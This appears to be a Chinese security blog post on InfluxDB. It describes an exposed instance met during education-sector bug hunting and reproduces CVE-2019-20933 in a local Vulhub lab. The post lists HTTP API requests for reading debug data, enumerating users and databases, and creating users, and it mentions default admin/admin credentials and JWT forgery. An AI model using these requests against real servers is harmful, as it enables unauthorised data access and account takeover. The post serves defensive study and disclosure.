0x1.前言本文章僅用于信息安全防御技術分享,因用于其他用途而產生不良后果,作者不承擔任何法律責任,請嚴格遵循中華人民共和國相關法律法規,禁止做一切違法犯罪行為。文中涉及漏洞均以提交至教育漏洞平臺。

0x2.背景在某次Edusrc挖掘過程中,我發現了一個404狀態碼的ip站如下圖所示:

我的直覺告訴我,這個站不太簡單。于是我信息搜集了一下端口為8086的常見服務:

當我看到這個InfluxDB的時候,我靈感突然來了,雖然我當時不知道是什么,我嘗試著進行抓包看看返回包,但是多嘗試一下沒想到這個站點還真的是InfluxDB服務!

后續利用我先不講,我們先好好講一下InfluxDB是一個怎么樣的數據庫。

0x3.InfluxDB介紹InfluxDB是一個由InfluxData開發的開源時序型數據庫。它由Go寫成,著力于高性能地查詢與存儲時序型數據。InfluxDB被廣泛應用于存儲系統的監控數據,IoT行業的實時數據等場景。

在了解了InfluxDB的基本概念之后我們得先了解一下什么是時序性數據庫。

為了方便理解我將時序性數據庫與大家常用的關系型數據庫進行一個以表格的形式進行對比展示:

特征時序性數據庫 (TSDB)關系型數據庫數據模型專門設計用于時間序列數據,包括時間戳、測量值、標簽和字段。通用數據模型,表格結構,支持多種數據類型。查詢語言使用專門的查詢語言,如InfluxQL或Flux,用于時間序列數據的高效查詢和分析。使用SQL進行復雜的查詢操作,支持多表關聯和通用數據分析。性能和優化針對高性能時間序列數據存儲和查詢進行了優化,具有高吞吐量和低延遲。面向通用工作負載,不一定專注于高性能時間序列數據處理。應用領域用于監控、日志分析、傳感器數據、度量數據、物聯網應用等,其中時間序列數據是核心。用于各種不同類型的應用領域,不限于時間序列數據。數據完整性和一致性提供數據完整性和一致性,但通常沒有像關系型數據庫中的ACID屬性那么強調。通常強調ACID屬性以確保數據的一致性和完整性。復雜查詢支持不支持像關系型數據庫中的復雜JOIN操作和多表關聯查詢。支持復雜的SQL查詢,包括JOIN操作和多表查詢。數據建模和模式定義更靈活,數據模型通常根據需求動態定義,不要求固定的模式。需要明確定義模式,表的結構通常靜態。擴展性通常針對高并發和大數據量的時間序列數據設計,支持水平擴展。支持垂直和水平擴展,但可能需要更多配置和優化。主要優勢高性能時間序列數據存儲和查詢,專注于時間序列應用。通用性、數據完整性、支持復雜查詢和關聯操作。

然后我也整理了一下MySQL與InfluxDB概念差異和相關概念擴展用一個表格來進行對比展示:

概念MySQLInfluxDB數據類型和鍵支持多種數據類型,需要定義主鍵和外鍵不同數據類型,數據模型專注于時間序列關系模型使用關系數據庫管理系統 (RDBMS) 模型專注于時間序列數據,沒有復雜關系事務處理支持事務處理,使用ACID屬性無事務處理,數據寫入是原子操作SQL查詢使用SQL進行數據查詢和操作使用InfluxQL或Flux查詢語言,特化于時間序列數據復制和集群支持主從復制、主主復制和集群配置提供高可用性和數據冗余的集群配置數據存儲單位表 (table)Measurement,Series是由Measurement和相關的標簽(Tags)組成的具體時間序列數據集合。基本數據單位列 (column)Tag (標簽,可用于高效過濾和索引)、Field (字段,不用于索引)、Timestamp (時間戳,作為唯一主鍵)連續查詢不適用支持連續查詢,可自動匯總歷史數據適用領域通用的關系型數據存儲需求高性能、高可用性的時間序列數據存儲和查詢主要優勢復雜關系模型、事務處理、通用數據存儲時間序列數據的高性能、高吞吐量

然后這里整理了一些常見的 InfluxQL Http Api的語句:

GET /query?q=SHOW USERS #查看當前所有的數據庫用戶
GET /query?q=SHOW DATABASES #查看所有數據庫
GET /query?q=SHOW MEASUREMENTS&db=某個db的名稱 #查詢數據庫中所含的表
GET /query?q=SHOW FIELD KEYS&db=某個db的名稱 # 查看當前數據庫所有表的字段
GET /query?q=show series&db=某個db的名稱 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 這一點需要偽造jwt
0x4.本地漏洞復現實戰的利用過程就不放上來了,放上來也是厚碼還不如直接本地復現講的更清楚。

使用Vulhub在本地虛擬機上搭建:

沒有搭建過vulhub靶場可以參考官方文檔:https://vulhub.org/#/docs/install-docker/

搭建好后我們直接使用如下命令:

cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d

開放在默認的8086端口,環境啟動后,訪問xxx:8086即可開始復現:

雖然是404,但是抓包回顯發現是influxdb服務

16

我簡單嘗試之后發現是弱口令admin/admin。如果發現弱口令不可以的話,可以偽造jwt我就不多贅述了。

然后我們來進行測試:

debug敏感泄露

GET /debug/vars

查看當前所有的數據庫用戶

GET /query?q=SHOW USERS

查看所有數據庫

GET /query?q=SHOW DATABASES

查詢數據庫中所含的表

GET /query?q=SHOW MEASUREMENTS&db=某個db的名稱

查看當前數據庫所有表的字段

GET /query?q=SHOW FIELD KEYS&db=某個db的名稱

查看series

GET /query?q=show series&db=某個db的名稱

任意用戶寫

POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'

GET /query?q=SHOW USERS

再來查看一下:

最后別忘了關閉容器:

docker stop cve-2019-20933_web_1

0x6.總結這篇主要是分享一下經驗,也就是說不一定狀態碼是404的站點就一定不能利用。我相信閱讀完此篇然后去復現一下,你對InfluxDB的利用肯定有不一樣的理解~